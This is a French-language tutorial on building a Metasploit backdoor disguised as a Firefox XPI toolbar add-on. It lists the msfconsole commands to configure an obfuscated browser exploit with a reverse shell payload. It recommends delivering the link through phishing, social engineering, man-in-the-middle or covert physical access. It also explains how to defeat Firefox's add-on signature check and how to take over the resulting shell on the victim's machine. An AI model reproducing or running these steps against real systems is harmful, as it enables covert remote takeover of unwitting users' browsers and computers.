XPI Metasploit backdoor

meterpreter xpi

Cette procédure va couvrir l’utilisation d’une backdoor Metasploit au format XPI. Elle va permettre de générer une backdoor sous la forme d’une barre d’outils Firefox. Une fois insérée dans un site Web ou installé à l’insu de la cible, son navigateur sera infecté et viendra se connecter à notre serveur Metasploit.

Préparation :

On ouvre un terminal et on lance Metasploit :

msfconsole

Nous allons maintenant rechercher le module qui nous intéresse, soit xpi comme ceci :

search xpi

Le résultat nous indique le chemin du module que nous recherchons.

Nous sélectionnons ce module avec la commande suivante :

use exploit/multi/browser/firefox_xpi_bootstraped_addon

On affiche ensuite les options possibles avec la commande :

set

On défini quelques paramètres donc l’obfuscation du code JS, le port ou le serveur écoutera et l’URI où sera disponible cet XPI pour la cible.

set JsObfuscate 1
set SRVPORT 443
set URIPATH /

 

Le payload

On choisit ensuite le payload qui sera utilisé pour la communication avec le navigateur infecté comme par exemple, un meterpreter ou un reverse_shell. Je m’oriente ici vers un reverse_shell car le choix est assez restreint au vu des droits nécessaires pour pouvoir lancer ce genre de payload. On le paramètre avec les commandes suivantes:

set payload firefox/shell_reverse_tcp

Par défault, ce payload écoute sur l’adresse IP du serveur Metasploit et sur le port 4444. Si vous souhaitez mener cette attaque depuis le Web, vous devrez rendre les ports 443 et 4444 accessibles depuis Internet et ouvrir ces deux ports avec votre net_filters (iptables).

Enfin, on lancera l’instance du serveur Metasploit pour qu’il commence à distribuer le XPI malicieux. Lorsque vous l’aurez lancé, Metasploit vous affichera l’URL exacte vers laquelle envoyer votre cible pour l’infecter. Cependant, si Metasploit vous affiche une erreur en rouge, ou que le serveur ne démarre pas, c’est qu’il doit déjà y avoir un service qui écoute sur ce port. Auquel cas, vérifiez avec la commande:

lsof -i :443

Une fois que vous savez quel service monopolise ce port, vous pouvez soit le stopper en notant le nombre présent dans la colonne PID du résultat de la commande précédente. Vous pouvez également sélectionner un autre port d’écoute pour votre service Metasploit. C’est à vous de voir si le service gênant est critique ou pas.

L’attaque :

On lance le listener Metasploit avec la commande :

exploit -j -z

Le listener Metasploit est lancé (service d’écoute), et une URL est affiché dans le prompt. C’est cette URL que vous devez communiquez à votre cible. Tous les moyens sont bons :

  • Phishing
  • Social Engineering
  • Man-In-The-Middle
  • Action physique sur la navigateur de la cible à son insu

Lorsque le lien sera visité, le serveur Metasploit distribuera le plugin Firefox au format XPI au navigateur cible ce qui lui permettant de l’installer.

Une fois le plugin installé, nous recevrons une nouvelle session sur Metasploit, ce qui signifie que nous aurons la main sur le navigateur cible et par extension, sur la machine de la cible si les droits sont suffisants.

La vérification de signature automatique

Cette technique fonctionne sans soucis jusqu’à une certaine version de Firefox. Au delà de la version 41, les modules que vous souhaitez installer doivent être obligatoirement signés, sans quoi l’installation sera refusée par votre navigateur.

Il existe plusieurs manières d’obtenir le résultat sur les versions à signature obligatoire. Je vais choisir la méthode manuelle, sachant que celle-ci ne requiert pas forcement un accès physique au navigateur de la cible. car utilisant des techniques de social engineering et de l’automatisation, on peut facilement réaliser les manipulations suivantes par le biais d’un script savamment rédigé.

L’idée est de désactiver la fonction qui oblige un module à présenter une signature. Pour se faire, il faut ouvrir l’onglet de configuration de Firefox à cette adresse : about:config, puis rechercher le terme ‘xpinstall.signatures.required’. Une fois trouvé, modifiez la valeur sur False.

Une autre solution plus complexe consiste à spoofer l’adresse Mozilla de vérification des signatures de plugins avec une autre sous notre contrôle. Ainsi, en effectuant un Man-In-The-Middle entre le routeur et le pc cible, on pourrai soit bloquer la vérification de la signature, soit en charger une à la volée de notre fabrication, autorisant ainsi son installation.

L’exploitation :

Une fois que la cible aura visité le lien, le serveur Metasploit lui proposera d’installer un nouveau plugin Firefox. Une fois accepté, on pourra voir qu’une nouvelle session vient d’être créée. Nous souhaitons interagir avec pour créer un fichier texte sur le pc cible.

On commence par lister les sessions et on note le numéro de celle qui nous intéresse avec la commande :

sessions -l

Ensuite, on sélectionne la session avec la commande suivante :

sessions -i 4

Nous voilà sur le shell qui a été créé par le module Firefox corrompu.

On peut lister les commandes possibles en tapant :

help

Il nous faut juste vérifier de quel utilisateur nous avons les droits. Nous pouvons également prendre la main sur le shell, à l’instar d’une session ssh. Si la machine cible est une Windows, vous tomberez sur une cmd avec les droits utilisateur si tout se passe bien.

Pour connaître les droits qui sont octroyés, et après avoir choisit la session, on tap directement :

whoami

Le shell devrait retourner le nom de l’utilisateur qui a lancé le shell dans son navigateur.

Un grand nombre de sécurités ont été mise en place pour bloquer ce genre de tentatives mais en cherchant bien, on peut toujours trouver une solution.

Petite note: pour les tests réalisés dans votre laboratoire, je vous conseille le navigateur Palemoon qui est assez flexible sur ce genre de choses. Il a également le mérite de ne pas comporter la fonction WebRTC de façon native.